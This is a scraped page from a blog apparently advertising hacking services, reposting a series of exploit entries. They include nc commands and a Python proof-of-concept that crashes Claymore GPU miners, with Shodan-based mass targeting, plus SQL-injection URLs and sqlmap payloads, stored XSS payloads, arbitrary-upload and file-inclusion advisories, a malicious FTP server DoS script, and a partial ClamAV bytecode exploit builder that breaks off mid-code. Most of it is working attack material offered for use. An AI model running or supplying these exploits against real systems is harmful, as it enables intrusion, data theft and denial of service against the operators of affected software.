Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863134083

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Claymore’s Dual GPU Miner 10.5 and below is vulnerable to a format strings vulnerability. This allows an unauthenticated attacker to read memory addresses, or immediately terminate the mining process causing a denial of service.

After reading about the recent vulnerabilities with previous versions, I thought I should take another look at the json listener on port 3333 and see if there was any avenues of attack.

echo -e '{"id":1,"jsonrpc":"1.0","method":"test"}' | nc 192.168.1.107 3333 & printf "\n"

After realizing the buffer was printed I decided to try a few others…

Sending %s does return some strings, however I couldn’t get the hex addresses padded properly to dig in more as I kept getting unable to parse json errors. Sending %p also did yield some results but I’m sure someone more qualified may be able to exploit the stack further…

Finally, sending %n completely kills the mining process.

echo -e '{"id":1,"jsonrpc":"1.0","method":"%n"}' | nc 192.168.1.139 3333 & printf "\n"

Keep your rigs up to date, or stop opening port 3333 to the public. Seriously.

Timeline
01/26/18 — Reported

01/26/18 —Confirmed and immediately patched. 10.6 released request for 3–4 day embargo

01/31/18 — Public Disclosure
HireHackking 
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# github.com/tintinweb
#
#
# optional: pip install pysocks (https://pypi.python.org/pypi/PySocks)
#
#
'''

API overview:
    # >nc -L -p 3333
    {"id":0,"jsonrpc":"2.0","method":"miner_getstat1"}
    {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["epools.txt","<encoded>"]}
    {"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}
    {"id":0,"jsonrpc":"2.0","method":"miner_restart"}
    {"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
    {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "1"]}
    {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["-1", "0"]}
    {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "2"]}
    {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["config.txt","<encoded>"]}
    {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["dpools.txt","<encoded>"]}


Exec:
    #> EthDcrMiner64.exe -epool http://192.168.0.1:8545 -mport -3333

    ╔════════════════════════════════════════════════════════════════╗
    ║     Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner v10.0      ║
    ╚════════════════════════════════════════════════════════════════╝

    ...
    Total cards: 1
    ETH - connecting to 192.168.0.1:8545
    DUAL MINING MODE ENABLED: ETHEREUM+DECRED
     DCR: Stratum - connecting to 'pasc-eu2.nanopool.org' <213.32.29.168> port 15555
    ETH: HTTP SOLO mode
    Ethereum HTTP requests time (-etht) is set to 200 ms
    Watchdog enabled
    Remote management (READ-ONLY MODE) is enabled on port 3333

     DCR: Stratum - Connected (pasc-eu2.nanopool.org:15555)
     DCR: Authorized
     DCR: 11/22/17-22:05:12 - New job from pasc-eu2.nanopool.org:15555

    ... <run poc.py --vector=method <target>>

    GPU0 t=57C fan=0%
    Remote management: unknown command miner_getstat1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    .... <crash>


PoC:
    #> poc.py 127.0.0.1:3333
    [poc.py -             <module>() ][    INFO] --start--
    [poc.py -             <module>() ][    INFO] # Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite
    [poc.py -             <module>() ][    INFO] # github.com/tintinweb
    [poc.py -         iter_targets() ][ WARNING] shodan apikey missing! shodan support disabled.
    [poc.py -             <module>() ][    INFO] [i] Target: 127.0.0.1:3333
    [poc.py -             <module>() ][    INFO] [+] connected.
    [poc.py -             <module>() ][    INFO] [+] peer disappeared. vulnerable!
    [poc.py -             <module>() ][ WARNING] error(10054, 'Eine vorhandene Verbindung wurde vom Remotehost geschlossen')
    [poc.py -             <module>() ][    INFO] --done--


'''

import logging
import json
import time
import argparse
import socket
try:
    import socks
except ImportError:
    print "!! cannot import socks. no socks support!"
    socks = None
try:
    import shodan
except ImportError:
    print "!! cannot import shodan. no shodan support!"
    shodan = None

LOGGER = logging.getLogger(__name__)

class MinerRpc(object):
    """
    Generic MinerRpc class with socks support
    """

    def __init__(self):
        self.sock = None

    def connect(self, host, port, proxy=None, timeout=15):
        if socks:
            self.sock = socks.socksocket()
        else:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(timeout)
        if proxy:
            if not socks:
                raise Exception("socks support disabled due to unmet dependency. please install pysocks")
            self.sock.set_proxy(*proxy)
        return self.sock.connect((host, port))

    def sendRcv(self, msg, chunksize=4096):
        self.sock.sendall(msg)
        chunks = []
        chunk = None
        #time.sleep(2)
        while chunk is None or len(chunk)==chunksize:
            chunk = self.sock.recv(chunksize)
            chunks.append(chunk)
        return "".join(chunks)

    def sendRcvTimed(self, msg, chunksize=1):
        self.sock.sendall(msg)
        start = time.time()
        resp = self.sock.recv(chunksize)
        diff = time.time()-start
        return diff, resp


class Utils:
    """
    Utility namespace
    """

    @staticmethod
    def iter_targets(targets, shodan_apikey):
        shodan_api = None
        if not shodan:
            LOGGER.warning(
                "[i] starting without shodan support. please pip install shodan to use shodan search strings.")
        else:
            if not shodan_apikey:
                LOGGER.warning("shodan apikey missing! shodan support disabled.")
            else:
                shodan_api = shodan.Shodan(shodan_apikey)

        for target in targets:
            if target.startswith("shodan://"):
                target = target.replace("shodan://", "")
                if shodan_api:
                    for t in shodan_api.search(target)['matches']:
                        yield t['ip_str'], t['port']
            else:
                host,port = target.strip().split(":")
                yield host,int(port)


VECTORS = {
    # Vector: extrafield
    # Description: overly long value for field. overly long overall msg
    # Result: crashes always, even though
    #   * password required
    #   * readonly mode (-<port>)
    "extrafield" : {"id": 1,
                     "jsonrpc": "2.0",
                     "lol": "a" * 145000,  ##<<--
                     "method": "miner_getstat1 ", },
    # Vector: psw (basically same as extrafield)
    # Description: overly long value for psw. overly long overall msg
    # Result: crashes always, even though
    #   * password required
    #   * readonly mode (-<port>)
    "psw" : { "id": 1,
              "psw":"d"*145000,  ##<<--
              "jsonrpc": "2.0",
              "method": "miner_getstat1", },
    # Vector: method
    # Description: overly long value for field. overly long overall msg
    # Result: crashes always, even though
    #   * readonly mode (-<port>)
    "method" : {"id": 1,
                     "jsonrpc": "2.0",
                     "method": "miner_getstat1 " + "a" * (16384 - 50 - 15 - 5), },  ##<<--
    # Vector: traversal
    # Description: path traversal
    # Result: retrieves any file
    "traversal": {"id":0,
             "jsonrpc":"2.0",
             "method":"miner_getfile",
             "params":["../Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0/config.txt"]}, ##<<-- adjust path


}

if __name__ == "__main__":
    logging.basicConfig(format='[%(filename)s - %(funcName)20s() ][%(levelname)8s] %(message)s',
                        loglevel=logging.DEBUG)
    LOGGER.setLevel(logging.DEBUG)

    usage = """poc.py [options]

                  example: poc.py [options] <target> [<target>, ...]

                  options:
                           apikey       ... optional shodan apikey
                           vector       ... method ... overflow in method, requires password if set [readonly]
                                            extrafield  ... overflow in non-standard field [readonly, passwd mode]
                                            psw ... overflow in password
                                            traversal ... relative path traversal [authenticated]

                  target   ... IP, FQDN or shodan://<search string>

                           #> poc.py 1.1.1.1
                           #> poc.py 1.2.3.4 "shodan://product:eth+result"
               """

    parser = argparse.ArgumentParser(usage=usage)
    parser.add_argument("-a", "--apikey",
                        dest="apikey", default=None,
                        help="shodan.io apikey, NotSet=disabled [default: None]")
    parser.add_argument("-m", "--vector",
                        dest="vector", default="method",
                        help="vulnerablevectors [default: method]")
    parser.add_argument("targets", nargs="+")

    options = parser.parse_args()
    LOGGER.info("--start--")
    LOGGER.info("# Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite")
    LOGGER.info("# github.com/tintinweb")
    m = MinerRpc()

    for ip, port in Utils.iter_targets(options.targets, options.apikey):
        LOGGER.info("[i] Target: %s:%s"%(ip, port))

        try:
            m.connect(ip, port, timeout=20)
            LOGGER.info("[+] connected.")

            resp = m.sendRcv(json.dumps(VECTORS[options.vector]))  # crash with readonly mode

            LOGGER.debug("<-- %d %r"%(len(resp), resp))
            if not len(resp):
                LOGGER.info("[+] did not receive a response. probably vulnerable.")
        except socket.error, e:
            if e[0]==10054:
                LOGGER.info("[+] peer disappeared. vulnerable!")
            LOGGER.warning(repr(e))

    LOGGER.info("--done--")
HireHackking 
# # # # # 
# Exploit Title: Claydip Laravel Airbnb Clone 1.0 - Arbitrary File Upload
# Dork: N/A
# Date: 22.09.2017
# Vendor Homepage: https://www.claydip.com/
# Software Link: https://www.claydip.com/airbnb-clone.html
# Demo: https://www.claydip.com/airbnb_demo.html
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-14704
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# 
# The vulnerability allows an users upload arbitrary file....
# 
# Vulnerable Source:
#
# .............1
#    public function imageSubmit(Request $request)
#    {
        $this->validate($request, [
            'image' => 'image|mimes:jpeg,png,jpg,gif,svg|max:2048',
        ]);
#        if ($request->hasFile('profile_img_name')) {
#            $file = $request->file('profile_img_name');
#            //getting timestamp
#            $timestamp = str_replace([' ', ':'], '-', Carbon::now()->toDateTimeString());
#            $img_name = $timestamp. '-' .$file->getClientOriginalName();
#            //$image->filePath = $img_name;
#            $file->move(public_path().'/images/profile', $img_name);
#            $postData = array('profile_img_name' => $img_name, 'profile_photo_approve' => 0);
#            $user = $this->userRepository->updateUser($postData);
#            flash('Profile Image Updated Successfully', 'success');
#            if($request->get('uploadpage') == 2) {
#                return \Redirect::to('user/edit/uploadphoto');
#            }
#            return \Redirect::to('user/dashboard');
#        }
#
#    }
# .............2
#    public function proof_submit(Request $request)
#    {
#        if ($request->hasFile('profile_img_name')) {
#            $file = $request->file('profile_img_name');
#            //getting timestamp
#            $timestamp = str_replace([' ', ':'], '-', Carbon::now()->toDateTimeString());
#            $img_name = $timestamp. '-' .$file->getClientOriginalName();
#            //$image->filePath = $img_name;
#            $file->move(public_path().'/images/proof', $img_name);
#            $postData = array('idproof_img_src' => $img_name, 'id_proof_approved' => 0);
#            $user = $this->userRepository->updateUser($postData);
#            flash('Proof Updated Successfully', 'success');
#            return \Redirect::to('user/edit/uploadproof');
#        }
#
#    }
# .............
#
# Proof of Concept: 
# 
# http://localhost/[PATH]/user/edit/uploadphoto
# http://localhost/[PATH]/user/edit/uploadproof
# 
# http://localhost/[PATH]/images/profile/[$timestamp].Php
# 
# Etc..
# # # # #
HireHackking 
source: https://www.securityfocus.com/bid/52637/info

Vacation Packages is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://wwww.example.com/vacation-packages/demo.php?controller=Listings&action=search&listing_search=1&season=2'
HireHackking 
# # # # # 
# Vulnerability: SQL Injection
# Date: 19.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: Classifieds Script 
# Script Buy Now:http://www.scriptfolder.com/scriptfolder-classifieds/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?term=[SQL]
# E.t.c.... 
# # # # #
HireHackking 
# Exploit Title: SQL Injection in Classifieds Rental Script
# Date: 19 October 2016
# Exploit Author: Arbin Godar
# Website : ArbinGodar.com
# Vendor: www.i-netsolution.com

*----------------------------------------------------------------------------------------------------------------------*

# Proof of Concept SQL Injection/Exploit : 
http://localhost/[PATH]/viewproducts.php?catid=PoC%27

# Exploit (using Sqlmap)
---
Parameter: catid (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: catid=-1285' OR 8060=8060#

    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: catid=-9700' OR 1 GROUP BY CONCAT(0x717a627071,(SELECT (CASE WHEN (7055=7055) THEN 1 ELSE 0 END)),0x716a767871,FLOOR(RAND(0)*2)) HAVING MIN(0)#

    Type: UNION query
    Title: MySQL UNION query (random number) - 1 column
    Payload: catid=-4664' UNION ALL SELECT CONCAT(0x717a627071,0x444c6a6547574179515a64414752636446697064764a5a64745042625072666b5954674a58484577,0x716a767871)#
---
HireHackking 
source: https://www.securityfocus.com/bid/48564/info

Classified Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/c-BrowseClassified/q:%5C%22%3E%3Cmarquee%3E%3Ch1%3EXSSed%20By%20r007k17%3C/h1%3E%3C/marquee%3E|p:0|gal:0|typ:|/
HireHackking 
source: https://www.securityfocus.com/bid/54299/info

Classified Ads Script PHP is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Classified Ads Script PHP 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/test/classifiedscript/admin.php?act=ads&orderType=[ ASC/ DESC ]&search=&orderBy=[SQL-INJECTION]

http://www.example.com/test/classifiedscript/admin.php?act=ads&orderType=[SQL-INJECTION]

http://www.example.com/test/classifiedscript/admin.php?act=comments&ads_id=&orderType=[ASC / DESC ]&search=&orderBy=[SQL-INJECTION]

http://www.example.com/test/classifiedscript/admin.php?act=comments&ads_id=&orderType[SQL-INJECTION]
HireHackking 
#!/usr/bin/env python
#
# Exploit Title: Classic FTP v2.36 CWD Reconnection DOS
# Date: 27/07/2015
# Exploit Author: St0rn <fabien[at]anbu-pentest[dot]com>
# Vendor Homepage: www.nchsoftware.com
# Software Link: www.nchsoftware.com/classic/cftpsetup.exe
# Version: 2.36
# Tested on: Windows 7
#


import socket
import sys
import time


junk1="250 "+"a"*(80000-6)+"\r\n"
c=1

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("",21))
s.listen(10)


while 1:
 conn, addr = s.accept()
 print 'Connected with ' + addr[0] + ':' + str(addr[1])
 conn.send("220 Classic FTP Xsploit\r\n")
 try:
  while 1:
   buf=conn.recv(1024)
   if "USER" in buf:
    conn.send("331 User name okay, need password\r\n")
   if "PASS" in buf:
    conn.send("230-Password accepted.\r\n")
    conn.send("230 User logged in.\r\n")
   if "CWD" in buf:
    conn.send(junk1)
    print "Evil Response send with %s bytes!" %len(junk1)
    print "Loop %s: \n\tWaiting client reconnection, crash in %s loop\n" %(c,(122-c))
    if c==122:
     print "BOOMmMm!"
    c+=1
   if "QUIT" in buf:
    break
 except:
  time.sleep(0)
HireHackking 
# Exploit Title:  Class Scheduling System 1.0 - Multiple Stored XSS
# Exploit Author: Aakash Madaan (Godsky)
# Date: 2020-12-22
# Vendor Homepage: https://www.sourcecodester.com/php/5175/class-scheduling-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=5175&title=Class+Scheduling+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application
# Tested on: Parrot OS

[+] Step 1. Login to the application with admin credentials

[+] Step 2.1(a). Click on "Department" page.  {Uri :http(s)://<host>/admin/department.php}
    Step 2.1(b). In the "Person Incharge" field, use XSS payload '"><script>alert("Department")</script>' as the name of new course and click on save.
                 [ Note : The XSS can also be triggered if we put the same payload in "Title" field ]
    Step 2.1(c). Click on "Save" when done and this will trigger the Stored XSS payloads. Whenever you click on "Department", your XSS Payloads will be triggered.

[+] Step 2.2(a). Click on "Subject" page.  {Uri :http(s)://<host>/admin/subject.php}
    Step 2.2(b). In the "Subject Code" field, use XSS payload '"><script>alert("Subject")</script>' as the name of new course and click on save.
                 [ Note : The XSS can also be triggered if we put the same payload in "Title" field ]
    Step 2.2(c). Click on "Save" when done and this will trigger the Stored XSS payloads. Whenever you click on "Subject", your XSS Payloads will be triggered.

[+] Step 2.3(a). Click on "Course" page.  {Uri :
http(s)://<host>/admin/course.php}
    Step 2.3(b). In the "Course Year" field, use XSS payload '"><script>alert("Course")</script>' as the name of new course and click on save.
                 [ Note : The XSS can also be triggered if we put the same payload in "Major" field ]
    Step 2.3(c). Click on "Save" when done and this will trigger the Stored XSS payloads. Whenever you click on "Course", your XSS Payloads will be triggered.

[+] Step 2.3(a). Click on "Record" page.  {Uri :http(s)://<host>/admin/record.php}
    Step 2.3(b). In the "Name" field, use XSS payload '"><script>alert("Record")</script>' as the name of new course and click onsave.
                 [ Note : The XSS can also be triggered if we put the same payload in "Academic Rank" or "Designation" field ]
    Step 2.3(c). Click on "Save" when done and this will trigger the Stored XSS payloads. Whenever you click on "Record", your XSS Payloads will be triggered.

[+] Step 3. This should trigger the XSS payload and anytime you click on respective pages, your stored XSS payload will be triggered.
HireHackking 
source: https://www.securityfocus.com/bid/47073/info

Claroline is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Claroline 1.10 is vulnerable; other versions may also be affected. 

"><script>alert(0)</script>
HireHackking 
Claroline Arbitrary File Inclusion

Vendor: Claroline
Product: Claroline
Version: <= 1.7.7
Website: http://www.claroline.net/

BID: 20056 
CVE: CVE-2006-4844 
OSVDB: 28827 
SECUNIA: 21931 

Description:
Claroline is a popular online Open Source e-Learning application used to allow teachers or education organizations to create and administrate courses through the web. Claroline is also used as the framework for other e-Learning applications such as Dokeos. Unfortunately Claroline is vulnerable to a file inclusion issue when register globals is on which may allow for an attacker to read or execute arbitrary files. Some frameworks that use Claroline (such as Dokeos) are also vulnerable to the issues mentioned here. An updated version of Claroline has been released and users should upgrade immediately and disable register_globals if possible. 


Arbitrary File Inclusion:
Claroline is vulnerable to an arbitray file inclusion issue that may allow for remote code execution. The vulnerability is due to an uninitialized array being used to include files. The vulnerable code in claro_init_local.inc.php can be seen below 
if (isset($extAuthSource) && is_array($extAuthSource))
{
    foreach($extAuthSource as $thisAuthSource)
    {
        $_uid = include_once($thisAuthSource['newUser']);

        if ( $_uid > 0 )
        {
            $uidReset             = true;
            $claro_loginSucceeded = true;
            break;
        }
        else
        {
            $_uid                 = null;
            $claro_loginSucceeded = false;
        }
    }
} //end if is_array($extAuthSource)

Unfortunately there is no authentication needed to exploit this issue, thus allowing an attacker to easily include files via the extAuthSource[newUser] variable. 


Solution:
An updated version of Claroline has been released and users are encouraged to upgrade as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team
HireHackking 
# Exploit Title: Clansphere CMS 2011.4 - Stored Cross-Site Scripting (XSS)
# Exploit Author: Sinem Şahin
# Date: 2022-10-08
# Vendor Homepage: https://www.csphere.eu/
# Version: 2011.4
# Tested on: Windows & XAMPP

==> Tutorial <==

1- Go to the following url. => http://(HOST)/index.php?mod=buddys&action=create&id=925872
2- Write XSS Payload into the username of the buddy list create.
3- Press "Save" button.

XSS Payload ==> "<script>alert("usernameXSS")</script> 

Link: https://github.com/sinemsahn/POC/blob/main/Create%20Clansphere%202011.4%20%22username%22%20xss.md
HireHackking 
source: https://www.securityfocus.com/bid/47636/info

ClanSphere is prone to a local file-include vulnerability and multiple arbitrary-file-upload vulnerabilities.

An attacker can exploit these issues to upload arbitrary files onto the webserver, execute arbitrary local files within the context of the webserver, and obtain sensitive information.

ClanSphere 2011.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/mods/ckeditor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=[LFI]%00
http://www.example.com/[Path]/mods/ckeditor/filemanager/connectors/test.html
http://www.example.com/[Path]/mods/ckeditor/filemanager/connectors/uploadtest.html
http://www.example.com/[Path]/mods/ckeditor/filemanager/browser/default/browser.html
http://www.example.com/[Path]/mods/ckeditor/filemanager/browser/default/frmupload.html
HireHackking 
#!/usr/bin/python
 
'''
Finished  : 22/07/2019
Pu8lished : 31/10/2019
Versi0n   : Current    (<= 0.102.0)
Result    : Just for fun.
 
"Because of my inability to change the world."
 
In 2002, ClamAV got introducted as a solution for malwares on UNIX-based systems, built on
a signature-based detection approach, and still undergoes active-development. by that time,
LibClamAV only held 2 binaries, and expanded to 5 at present.
 
ClamBC were exceptionally more complex and served as a testing tool for bytecodes, majorly
validating and interpreting the code therein, and the information provided didn't indicate
nor explain the presence of its internal mechanisms.
 
The availability of the source-code and the lack of documentation led to the establishment
of this paper, it was certainly not an attempt to escalate privileges, but rather a sought
-after experience, and source of entertainment that grants the thrill of a challenge.
 
Due to the considerable amount of time spent in the analysis, the dissection of the engine
was imminent, whilst significantly broadening our perception on its internal structures.
The trial and error process produced valuable information, crashes illuminated latent bugs,
effectively increasing the attack surface, and magnifying the possibility for exploitation.
 
> ./exploit.py
> clambc --debug exploit
[SNIP]
$
'''
 
names = ['test1',
         'read',
         'write',
         'seek',
         'setvirusname',
         'debug_print_str',
         'debug_print_uint',
         'disasm_x86',
         'trace_directory',
         'trace_scope',
         'trace_source',
         'trace_op',
         'trace_value',
         'trace_ptr',
         'pe_rawaddr',
         'file_find',
         'file_byteat',
         'malloc',
         'test2',
         'get_pe_section',
         'fill_buffer',
         'extract_new',
         'read_number',
         'hashset_new',
         'hashset_add',
         'hashset_remove',
         'hashset_contains',
         'hashset_done',
         'hashset_empty',
         'buffer_pipe_new',
         'buffer_pipe_new_fromfile',
         'buffer_pipe_read_avail',
         'buffer_pipe_read_get',
         'buffer_pipe_read_stopped',
         'buffer_pipe_write_avail',
         'buffer_pipe_write_get',
         'buffer_pipe_write_stopped',
         'buffer_pipe_done',
         'inflate_init',
         'inflate_process',
         'inflate_done',
         'bytecode_rt_error',
         'jsnorm_init',
         'jsnorm_process',
         'jsnorm_done',
         'ilog2',
         'ipow',
         'iexp',
         'isin',
         'icos',
         'memstr',
         'hex2ui',
         'atoi',
         'debug_print_str_start',
         'debug_print_str_nonl',
         'entropy_buffer',
         'map_new',
         'map_addkey',
         'map_setvalue',
         'map_remove',
         'map_find',
         'map_getvaluesize',
         'map_getvalue',
         'map_done',
         'file_find_limit',
         'engine_functionality_level',
         'engine_dconf_level',
         'engine_scan_options',
         'engine_db_options',
         'extract_set_container',
         'input_switch',
         'get_environment',
         'disable_bytecode_if',
         'disable_jit_if',
         'version_compare',
         'check_platform',
         'pdf_get_obj_num',
         'pdf_get_flags',
         'pdf_set_flags',
         'pdf_lookupobj',
         'pdf_getobjsize',
         'pdf_getobj',
         'pdf_getobjid',
         'pdf_getobjflags',
         'pdf_setobjflags',
         'pdf_get_offset',
         'pdf_get_phase',
         'pdf_get_dumpedobjid',
         'matchicon',
         'running_on_jit',
         'get_file_reliability',
         'json_is_active',
         'json_get_object',
         'json_get_type',
         'json_get_array_length',
         'json_get_array_idx',
         'json_get_string_length',
         'json_get_string',
         'json_get_boolean',
         'json_get_int']
o     = names.index('buffer_pipe_new') + 1
k     = names.index('buffer_pipe_write_get') + 1
l     = names.index('debug_print_str') + 1
m     = names.index('malloc') + 1
 
c     = 0
for name in names:
    names[c] = name.encode('hex')
    c += 1
 
def cc(n):
    v = chr(n + 0x60)
   
    return v
 
def cs(s):
    t = ''
       
    for i in xrange(0, len(s), 2):
        u  = int(s[i], 16)
        l  = int(s[i + 1], 16)
        for i in  [u, l]:
            if((i >= 0 and i <= 0xf)):
                continue
            print 'Invalid string.'
            exit(0)
       
        t += cc(l) + cc(u)
   
    return t
   
def wn(n, fixed=0, size=0):
    if n is 0:
        return cc(0)
 
    t  = ''
    c  = hex(n)[2:]
    l  = len(c)
    if (l % 2) is 1:
        c = "0" + c
    r  = c[::-1]
   
    if(l <= 0x10):
        if not fixed:
            t = cc(l)
        i = 0
        while i < l:
            t += cc(int(r[i], 16))
            i += 1
    else:
        print 'Invalid number.'
        exit(0)
   
    if size != 0:
        t = t.ljust(size, '`')
       
    return t
 
def ws(s):
    t  = '|'
    e = s[-2:]
    if(e != '00'):
        print '[+] Adding null-byte at the end of the string..'
        s += '00'
   
    l  = (len(s) / 2)
   
    if (len(s) % 2) is 1:
        print 'Invalid string length.'
        exit(0)
   
    t += wn(l)
    t += cs(s)
   
    return t
   
def wt(t):
    if t < (num_types + 0x45):
        v = wn(t)
        return v
    else:
        print 'Invalid type.'
        exit(0)
 
def initialize_header(minfunc=0, maxfunc=0, num_func=0, linelength=4096):
    global flimit, num_types
   
    if maxfunc is 0:
        maxfunc = flimit
   
    if(minfunc > flimit or  maxfunc < flimit):
        print 'Invalid minfunc and/or maxfunc.'
        exit(0)
   
    header   = "ClamBC"
    header  += wn(0x07)                 # formatlevel(6, 7)
    header  += wn(0x88888888)           # timestamp
    header  += ws("416c69656e")         # sigmaker
    header  += wn(0x00)                 # targetExclude
    header  += wn(0x00)                 # kind
    header  += wn(minfunc)              # minfunc
    header  += wn(maxfunc)              # maxfunc
    header  += wn(0x00)                 # maxresource
    header  += ws("00")                 # compiler
    header  += wn(num_types + 5)        # num_types
    header  += wn(num_func)             # num_func
    header  += wn(0x53e5493e9f3d1c30)   # magic1
    header  += wn(0x2a, 1)              # magic2
    header  += ':'
    header  += str(linelength)
    header  += chr(0x0a)*2
    return header
 
def prepare_types(contained, type=1, nume=1):
    global num_types
   
    types    = "T"
    types   += wn(0x45, 1)               # start_tid(69)
   
    for i in range(0, num_types):
        types   += wn(type[i], 1)            # kind
        if type[i] in [1, 2, 3]:
        # Function, PackedStruct, Struct
            types += wn(nume[i])             # numElements
            for j in range(0, nume[i]):
                types += wt(contained[i][j]) # containedTypes[j]
        else:
        # Array, Pointer
            if type[i] != 5:
                types += wn(nume[i])         # numElements
            types += wt(contained[i][0])     # containedTypes[0]
       
    types   += chr(0x0a)
    return types
   
def prepare_apis(calls=1):
    global maxapi, names, ids, tids
 
    if(calls > max_api):
        print 'Invalid number of calls.'
        exit(0)
   
    apis     = 'E'
    apis    += wn(max_api)               # maxapi
    apis    += wn(calls)                 # calls(<= maxapi)
   
    for i in range(0, calls):
        apis += wn(ids[i])               # id
        apis += wn(tids[i])              # tid
        apis += ws(names[ids[i] - 1])    # name
   
    apis    += chr(0x0a)
    return apis
   
def prepare_globals(numglobals=1):
    global max_globals, type, gval
   
    globals  = 'G'
    globals += wn(max_globals)           # maxglobals
    globals += wn(numglobals)            # numglobals
   
    for i in range(0, numglobals):
        globals += wt(type[i])           # type
        for j in gval[i]:                # subcomponents
            n        = wn(j)
            globals += chr(ord(n[0]) - 0x20)
            globals += n[1:]
       
    globals += cc(0)
    globals += chr(0x0a)
    return globals
 
def prepare_function_header(numi, numbb, numa=1, numl=0):
    global allo
   
    if numa > 0xf:
        print 'Invalid number of arguments.'
        exit(0)
 
    fheader  = 'A'
    fheader += wn(numa, 1)               # numArgs
    fheader += wt(0x20)                  # returnType
    fheader += 'L'
    fheader += wn(numl)                  # numLocals
   
    for i in range(0, numa + numl):
        fheader += wn(type[i])           # types
        fheader += wn(allo[i], 1)        # | 0x8000
       
    fheader += 'F'
    fheader += wn(numi)                  # numInsts
    fheader += wn(numbb)                 # numBB
    fheader += chr(0x0a)
    return fheader
   
 
   
flimit      = 93
max_api     = 100
max_globals = 32773
 
num_types   = 6
 
 
# Header parsing
w    = initialize_header(num_func=0x1)
# Types parsing
cont = [[0x8], [0x45], [0x20, 0x20], [0x41, 0x20, 0x20], [0x20, 0x41, 0x20], [0x41, 0x20]]
type = [0x4, 0x5, 0x1, 0x1, 0x1, 0x1]
num  = [0x8, 0x1, 0x2, 0x3, 0x3, 0x2]
w   += prepare_types(cont, type, num)
# API parsing
ids  = [o, k, l, m]
tids = [71, 72, 73, 74]
w   += prepare_apis(0x4)
'''
# crash @ id=0
'''
# Globals parsing
type = [0x45]
gval = [[0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]]
w   += prepare_globals(0x1)
# Function header parsing
type = [0x45, 0x41, 0x40, 0x40, 0x40, 0x40, 0x20]
